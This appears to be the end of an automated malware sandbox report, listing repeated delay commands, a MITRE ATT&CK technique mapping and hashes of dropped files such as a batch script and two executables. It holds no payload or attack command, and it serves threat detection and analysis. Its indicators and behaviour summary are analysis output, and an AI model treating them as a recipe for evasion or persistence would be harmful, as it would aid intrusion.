    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2280
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2500
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1400
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4900
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1620
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1664
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3480
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2152
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4172
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3096
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1432
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5104
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2064
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2000
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3456
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3832
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2532
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2252
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4592
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3568
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3796
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:528
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1820
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2792
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1956
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1648
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:416
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4244
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4616

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27
MD5 d336b18e0e02e045650ac4f24c7ecaa7
SHA1 87ce962bb3aa89fc06d5eb54f1a225ae76225b1c
SHA512 e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383
MD5 0f6a3762a04bbb03336fb66a040afb97
SHA1 0a0495c79f3c8f4cb349d82870ad9f98fbbaac74
SHA512 cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69
MD5 SHA1 SHA512

Submit Download

62A4.bat

Path C:\Users\Admin\AppData\Local\Temp\62A2.tmp\62A3.tmp\62A4.bat
Size 6KB
SHA256 de5b724817a3800a29826d6b81ac09702124c7c0727b91a34846d3e7c68dc6bd
MD5 7c45cbdbc20b9fe4c9848058f5c7f37a
SHA1 aa144a98cccfc36cd0d4da2300418965bd0fe09c
SHA512 a9681669a09bd6d3233bde3a985f501d426265ab317278a0a754c15adc6b2636526b3de94c86eb5fcd9ffe36420c27f344af1c20cbe020a526403ff12310ed05
SSDEEP 192:Ps70wx4Ln/57EZqxdBOYwdvAx0pOp8UZfFr/U7TGXsQxRywNY6jc:k70m4LR7EGNwdvEKTGXHsw66A
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_dneu5a5c.dmw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dneu5a5c.dmw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

wnwdjfv0.bff0.exe

Path C:\Users\Admin\AppData\Roaming\wnwdjfv0.bff0.exe
Size 355KB
SHA256 54a78373da8b9e1c571466d855d9fb5671f76c8d3dc0de04e7b176ef99212fd8
MD5 c47e7ac9c32d83c864a439a639813b2c
SHA1 de6a0e687a9f517c48c3a82071efb95bbd22c89a
SHA512 a2571a8343bcf3df44d7b8e262d3fe683bc824c87ce885fadcc23ceeebc360d13ae9706aa119b4c82f0e48a0eaa82c0ccafd4182e8bba3e539252b1b58067b20
SSDEEP 6144:g2qezd2ab1/RuHk+M3k8M3W7XomjOJCqshrOlumY6DMIewgxQfqksb:gf2R/EEkCQFYDwRqv
MD5 SHA1 SHA512 SSDEEP

Submit Download

wnwdjfv0.bff1.exe

Path C:\Users\Admin\AppData\Roaming\wnwdjfv0.bff1.exe
Size 126KB
SHA256 de1bdf892cd6e60b8c76e3560ca4dd47e2e08dd165d5496ab1fd1e7684cf36e3
MD5 af8d7feee43adb378afb80ea88fcbe10
SHA1 ab96ae00f8007de8d57f54bb6b73a1723b485ccf
SHA512 721bfb01a185ef87e3a218c7173fcce6da01e5d511f87aebe226e48a2beec0004d9dc5ce107e23c69796ab604efc99b494cdce7dc71ddfed3cd75509e83f513d
SSDEEP 3072:W2sMWkzbJh1qZ9QW69hd1MMdxPe9N9uA0hu9TBfcX2Ggf:3bJhs7QW69hd1MMdxPe9N9uA0hu9TBnp
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2536-63-0x00000000029F0000-0x0000000002DF0000-memory.dmp

Download

memory/2536-60-0x0000000000B90000-0x0000000000B99000-memory.dmp

Download

memory/2536-64-0x00007FFA14610000-0x00007FFA14805000-memory.dmp

Download

memory/2536-66-0x0000000075D60000-0x0000000075F75000-memory.dmp

Download

memory/3764-0-0x0000000000130000-0x0000000000138000-memory.dmp

Download

memory/3764-1-0x00007FF9F65B3000-0x00007FF9F65B5000-memory.dmp

Download

memory/4840-41-0x00007FF9F65B0000-0x00007FF9F7071000-memory.dmp

Download

memory/4840-15-0x00007FF9F65B0000-0x00007FF9F7071000-memory.dmp

Download

memory/4840-17-0x00007FF9F65B0000-0x00007FF9F7071000-memory.dmp

Download

memory/4840-3-0x000001945AAA0000-0x000001945AAC2000-memory.dmp

Download

memory/4840-13-0x00007FF9F65B0000-0x00007FF9F7071000-memory.dmp

Download

memory/4840-14-0x00007FF9F65B0000-0x00007FF9F7071000-memory.dmp

Download

memory/4840-16-0x00007FF9F65B0000-0x00007FF9F7071000-memory.dmp

Download

memory/5008-56-0x0000000003C70000-0x0000000004070000-memory.dmp

Download

memory/5008-62-0x0000000000720000-0x000000000078D000-memory.dmp

Download

memory/5008-57-0x00007FFA14610000-0x00007FFA14805000-memory.dmp

Download

memory/5008-59-0x0000000075D60000-0x0000000075F75000-memory.dmp

Download

memory/5008-31-0x0000000000720000-0x000000000078D000-memory.dmp

Download

memory/5008-55-0x0000000003C70000-0x0000000004070000-memory.dmp

Download

memory/5020-86-0x00000235FABF0000-0x00000235FAE0C000-memory.dmp

Download